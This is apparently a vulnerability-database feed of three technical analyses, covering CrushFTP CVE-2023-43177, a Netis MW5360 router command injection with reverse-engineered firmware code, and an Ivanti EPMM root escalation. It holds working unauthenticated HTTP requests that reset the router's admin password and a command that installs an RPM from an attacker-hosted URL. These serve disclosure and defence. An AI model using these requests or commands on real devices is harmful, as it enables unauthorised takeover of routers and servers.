Activity Feed

1
Ratings
Technical Analysis

CVE-2023-43177: Critical Unauthenticated Remote Code Execution in CrushFTP

Overview:

CVE-2023-43177 is a critical vulnerability disclosed in August 2023, affecting CrushFTP servers prior to version 10.5.1. This vulnerability enables unauthenticated attackers to achieve remote code execution (RCE) on affected systems, leading to complete compromise.

Technical Details:

The vulnerability stems from an unauthenticated mass assignment flaw in how CrushFTP parses AS2 protocol headers. An attacker can manipulate these headers to gain arbitrary file read-and-delete access on the server’s file system. By chaining this with other techniques, they can escalate privileges and execute arbitrary code with the permissions of the CrushFTP server process, typically resulting in root access.

Severity and Risk:

This vulnerability has been assigned a CVSS v3.1 base score of 9.8, classifying it as Critical. This high severity is due to:

No Authentication Required: Exploitation does not require any valid user credentials.
Remote Exploitation: The attack can be launched remotely over the network.
Full System Compromise: Successful exploitation leads to complete control of the affected server.
Attacker Value and Exploitability Assessment:

Based on a personal assessment, this vulnerability is rated as having high attacker value due to the potential for complete system compromise and the wide range of sensitive data that may be stored on file transfer servers. Additionally, the availability of public exploits and the straightforward exploitation process contribute to its easy exploitability.

Verified Active Exploitation:

While concrete public disclosures of widespread attacks are limited, several indicators point to active exploitation attempts:

Proof-of-Concept Exploits: Public PoC exploits exist, lowering the barrier to entry for attackers.
Security Advisories: Multiple cybersecurity firms have issued advisories warning of active scanning and potential exploitation.
Converge: https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/
Arctic Wolf: https://arcticwolf.com/resources/blog/cve-2023-43177/
Metasploit Module: A Metasploit module for exploiting CVE-2023-43177 is available, making the attack more accessible to a wider range of threat actors.
Mitigation and Recommendations:

Patch Immediately: Upgrade to CrushFTP version 10.5.1 or later.
Monitor for Exploitation: Review server logs for unusual AS2 activity or unauthorized file access.
Temporary Workarounds (if patching is not possible):
Disable AS2 functionality.
Implement a web application firewall (WAF) with specific rules to block exploit attempts.
Conclusion:

CVE-2023-43177 poses a severe risk to organizations using CrushFTP due to its high attacker value, easy exploitability, and evidence of active exploitation attempts. Immediate patching and additional security measures are crucial for mitigating this ongoing threat.

3
Ratings
Technical Analysis

Netis Systems Co., Ltd is a global leading provider of networking products and solutions in the data communication industry. It has three worldwide independent brands “netis”, “netcore” and “stonet” .Product lines of Netis company includes Wireless routers, Access point wireless adapters, Dump switches, POE switches, Industrial switches, etc.

A critical security vulnerability has been identified in the Netis router MW5360 by security researcher adhikara13. This vulnerability results in a Blind Command Injection in the “password” parameter, leading to unauthorized access.
Adhikara13 shared details in a POC on Github how to exploit this vulnerability which can be found here.

A more detailed analysis on vulnerability is not available so I did some reverse engineering on the firmware to understand the details of this vulnerability. So I download the latest firmware MW5360-1.0.1.3442 from here which is a very recent release from April 2024 that is still vulnerable :–(.
I emulated the firmware using FirmAE and used burpsuite to catch the requests to understand what was going on.

On the initial startup of the router, it will show you a welcome message and a setup screen to configure the router administration password and wifi settings including the wifi password which is the same as the administration password.
Capturing this request with burpsuite already shows the first design flaw, because this POST request can be executed multiple times without any authentication where the wifi password and administration password can be changed by manipulating the password and wpaPsk field.

POST Request

POST /cgi-bin/skk_set.cgi HTTP/1.1
Host: 192.168.1.1
Content-Length: 201
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.1
Referer: http://192.168.1.1/guide/welcome.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

wlanMode=0&wl_idx=0&ssid2g=bmV0aXMtMDAwMDAw&encrypt=4&wpaPsk=SWwwdmVoYWNraW5n&wpaPskType=2&wpaPskFormat=0&password=SWwwdmVoYWNraW5n&autoUpdate=0&firstSetup=1&quick_set=ap&app=wan_set_shortcut&wl_link=0

Successful Response

HTTP/1.1 200 OK
Date: Sun, 02 Jun 2024 12:20:24 GMT
Server: Boa/0.94.14rc21
Connection: close

["SUCCESS"]

You can even modify the request to only manipulate the router administration password by stripping the wifi parameters from the request.

POST /cgi-bin/skk_set.cgi HTTP/1.1
Host: 192.168.1.1
Content-Length: 59
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.1
Referer: http://192.168.1.1/guide/welcome.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

password=SWwwdmVoYWNraW5n&quick_set=ap&app=wan_set_shortcut

So far, so good, but besides this authentication bypass, there is also a blind command injection vulnerability in the password parameter according to CVE description.

To understand this a bit better, we need to dig into the firmware code.
If you login in into the emulated router software, you will find the main web binary netis.cgi in /bin. This is a compiled MIPS ELF binary so we need a tool like ghidra to decompile and understand the code.

Loading and analyzing netis.cgi in ghidra shows that the main program is a wrapper that runs the specific cgi request calls like our skk_set.cgi that we can see with burpsuite when interacting with the Netis web interface.

undefined4 main(undefined4 param_1,char **param_2)

{
  bool bVar1;
  size_t sVar2;
  int iVar3;
  char *pcVar4;
  char *local_188;
  int local_184;
  int local_17c;
  void *local_160;
  char acStack_15c [256];
  char cStack_5c;
  char acStack_5b [63];
  int local_1c;
  char *local_18 [4];
  
  local_160 = (void *)0x0;
  memset(&cStack_5c,0,0x40);
  local_1c = 0;
  sVar2 = strlen(*param_2);
  while (local_1c < (int)sVar2) {
    memset(&cStack_5c,0,0x40);
    iVar3 = local_1c;
    FUN_0040670c((int)*param_2,'/',&local_1c);
    strncpy(&cStack_5c,*param_2 + iVar3,local_1c - iVar3);
    do {
      local_1c = local_1c + 1;
    } while ((*param_2)[local_1c] == '/');
  }
  local_188 = &cStack_5c;
  bVar1 = false;
  local_18[0] = "skk_set.cgi";
  local_18[1] = "upload_config.cgi";
  local_18[2] = "upload_fw.cgi";
  local_18[3] = (char *)0x0;
  local_17c = 0;
  do {
    if (local_18[local_17c] == (char *)0x0) {
LAB_00405408:
      if (bVar1) {
        iVar3 = open("/tmp/lock_all.lock",0x702,0x1b4);
        if (iVar3 < 0) {
          local_184 = FUN_004050fc();
          if (local_184 < 0) {
            local_184 = 0;
          }
          FUN_00405060(local_184);
          if (2 < local_184) {
            system("rm -rf /tmp/lock_all.lock");
            FUN_00405060(0);
          }
          printf("[\"LOCK\"]");
          return 0;
        }
        close(iVar3);
      }
      apmib_init();
      FUN_00422c38(&local_160,param_2[1]);
      DAT_00440d40 = FUN_00405190();
      if (local_188 == (char *)0x0) {
        iVar3 = access("/tmp/lock_all.lock",0);
        if (iVar3 == 0) {
          system("rm -rf /tmp/lock_all.lock");
        }
        FUN_004214cc(&local_160);
        printf("[\"%d\"]",999);
      }
      else {
        pcVar4 = strstr(local_188,".cgi");
        if (pcVar4 != (char *)0x0) {
          pcVar4 = strchr(local_188,0x2f);
          if (pcVar4 != (char *)0x0) {
            local_188 = acStack_5b;
          }
          FUN_00405764(local_188,&local_160,acStack_15c);
        }
        fflush(stdout);
        FUN_004214cc(&local_160);
        iVar3 = access("/tmp/lock_all.lock",0);
        if (iVar3 == 0) {
          system("rm -rf /tmp/lock_all.lock");
        }
        FUN_00405060(0);
      }
      return 0;
    }
    iVar3 = strcmp(local_188,local_18[local_17c]);
    if (iVar3 == 0) {
      bVar1 = true;
      goto LAB_00405408;
    }
    local_17c = local_17c + 1;
  } while( true );
}

Let’s check the code for the password string and see where is it used. You can do this by using the search function in ghidra.
This creates quite some hits, but the most interesting hit is the ex_password variable which seems to be linked to a script /bin/script/password.sh

                             ex_password                                     XREF[2]:     Entry Point(*), 
                                                                                          FUN_0041301c:00413180(*)  
        0043be44 2f 62 69        ds         "/bin/script/password.sh"
                 6e 2f 73 
                 63 72 69 

Checking out function FUN_0041301c:00413180(*) shows ex_password a.k.a. /bin/script/password,sh is being called by the function FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4);.

undefined4 FUN_0041301c(undefined4 *param_1,undefined4 param_2,char *param_3,undefined4 param_4)

{
  char *pcVar1;
  byte *pbVar2;
  byte abStack_8c [132];
  
  pcVar1 = FUN_00405644(param_1,"usb3gEnabled");
  if (pcVar1 != (char *)0x0) {
    FUN_00405644(param_1,"usb3gPinCode");
    param_3 = FUN_00405644(param_1,"usb3gApn");
    param_4 = 0;
    FUN_00412fe4();
    FUN_00402e00("%s > /dev/console",ex_usbcontrol,param_3,param_4);
  }
  pbVar2 = (byte *)FUN_00405644(param_1,"ssid2g");
  if (pbVar2 != (byte *)0x0) {
    FUN_004030f4(abStack_8c,pbVar2);
    strcpy((char *)(pMib + 0x42c1),(char *)abStack_8c);
  }
  FUN_00402e00("echo 0 > %s","/proc/http_redirect/enable",param_3,param_4);
  memset(abStack_8c,0,0x80);
  apmib_get(0x159,abStack_8c);
  pcVar1 = "/proc/rtl_dnstrap/domain_name";
  FUN_00402e00("echo \'%s\' > %s",abStack_8c,"/proc/rtl_dnstrap/domain_name",param_4);
  FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4);
  FUN_00402e00("%s > /dev/console",param_2,pcVar1,param_4);
  return 0;
}

Interesting, but lets check if this code segment really gets executed if we run the POST request again. A quick trick is to monitor the process list on the router and grep the relevant processes during the execution of the POST request.

# while true; do ps|grep -e password.sh -e rtl -e http_redirect|grep -v grep;done
 3518 root      1132 R    /bin/sh -c echo 0 > /proc/http_redirect/enable
 3520 root      1132 R    /bin/sh -c echo 'netis.cc' > /proc/rtl_dnstrap/domain
 3531 root      1140 S    /bin/sh -c /bin/script/password.sh > /dev/console
 3538 root       324 R    /bin/script/password.sh
 3531 root      1140 S    /bin/sh -c /bin/script/password.sh > /dev/console
 3538 root      1656 S    /bin/script/password.sh

And indeed /bin/script/password.sh gets executed as well as some other commands listed in the code.

So let’s now focus on the /bin/scripts/password.sh.
Checking out this shell script, it turns out to be a compiled MIPS ELF binary instead of a text readable unix shell script.

Let’s use ghidra again to decompile this binary and use the search function to look for the password string.
Again quite some hits, but then I stumble over a very interesting piece of code.

                             s_Changed_Username_and_Password_.._0041dc80     XREF[1]:     FUN_00409590:0040969c(*)  
        0041dc80 43 68 61        ds         "Changed Username and Password ...........\n"
                 6e 67 65 
                 64 20 55 

This is most likely the code section that sets the router administration password.

Checking out the function FUN_00409590 is revealing two major issues.

void FUN_00409590(void)

{
  undefined auStack_488 [64];
  undefined auStack_448 [64];
  undefined auStack_408 [1024];
  
  memset(auStack_408,0,0x400);
  memset(auStack_488,0,0x40);
  memset(auStack_448,0,0x40);
  apmib_get(0x15d,auStack_488);
  apmib_get(0x15e,auStack_448);
  RunSystemCmd("echo \"root::0:0:root:/:/bin/sh\" > /var/passwd");
  RunSystemCmd("echo \"nobody:x:0:0:nobody:/:/dev/null\" >> /var/passwd");
  RunSystemCmd("echo root:%s | chpasswd -m",auStack_448);
  RunSystemCmd("echo \"root:x:0:root\" > /var/group");
  RunSystemCmd("echo \"nobody:x:0:nobody\" >> /var/group");
  RunSystemCmd("chmod 755 /var/passwd");
  RunSystemCmd("chmod 755 /var/group");
  fwrite("Changed Username and Password ...........\n",1,0x2a,stderr);
  return;
}

The first issue is that the router administration password is directly linked to the root password of router itself.
Oeps! That is not really best practice and attackers love these things.

The second issue is the blind command injection where the vulnerable code RunSystemCmd("echo root:%s | chpasswd -m",auStack_448); allows an attacker to manipulate password argument represented by auStack_448 and inject and execute code using the unix backtics.
This explains why the password parameter is indeed vulnerable of blind command injection.

The RunSystemCmd function is just a piece a code which is defined in the library libapmib.so and executes a unix command line using the system() call.

void RunSystemCmd(char *param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4)

{
  undefined4 local_res4;
  undefined4 local_res8;
  undefined4 local_resc;
  char acStack_118 [256];
  undefined4 *local_18;
  
  local_res4 = param_2;
  local_res8 = param_3;
  local_resc = param_4;
  memset(acStack_118,0,0x100);
  local_18 = &local_res4;
  vsprintf(acStack_118,param_1,local_18);
  system(acStack_118);
  return;
}

I have created an exploit that is published as official module Netis MW5360 unauthenticated RCE [CVE-2024-22729] in Metasploit.
Unfortunately there is no mitigation, because the latest firmware from April 2024 is still vulnerable. So be on the alert when suddenly your router administration password changes unexpectedly and you can not login into your router anymore.

References

CVE-2024-22729
Netis MW5360 unauthenticated RCE [CVE-2024-22729]
Firmware MW5360-1.0.1.3442

Credits

Credits go to the security researcher below who discovered this vulnerability.

  • adhikara13
1
Ratings
  • Attacker Value
    High
  • Exploitability
    Medium
1
Ratings
Technical Analysis

CVE-2024-22026 is a local privilege escalation vulnerability in Ivanti EPMM (formerly MobileIron) server versions prior to 12.1.0.0, 12.0.0.0, and 11.12.0.1. This vulnerability allows a local attacker to gain root access to the system by exploiting the software update process with a malicious RPM package from a remote URL.

The appliance uses the following command to fetch and install RPM packages as a low privilege user. This of course means you must have CLI access:

install rpm url <remote url>

This above command is only a CLI wrapper for the following to occur which runs as root

/bin/rpm -Uvh *.rpm

This underlying rpm command does not enforce any signature verification or URL filtering, meaning any RPM package can be installed. This allows an attacker to forge and deliver a malicious RPM package that can compromise the appliance.

So you can root the appliance by hosting a malicious RPM with whatever commands you want, then fetch it using the standard update command on the Ivanti EPMM CLI, and your commands will run as root.

install rpm url http://<attacker_IP>/malicious.rpm

I have provided a POC here:
https://www.redlinecybersecurity.com/blog/exploiting-cve-2024-22026-rooting-ivanti-epmm-mobileiron-core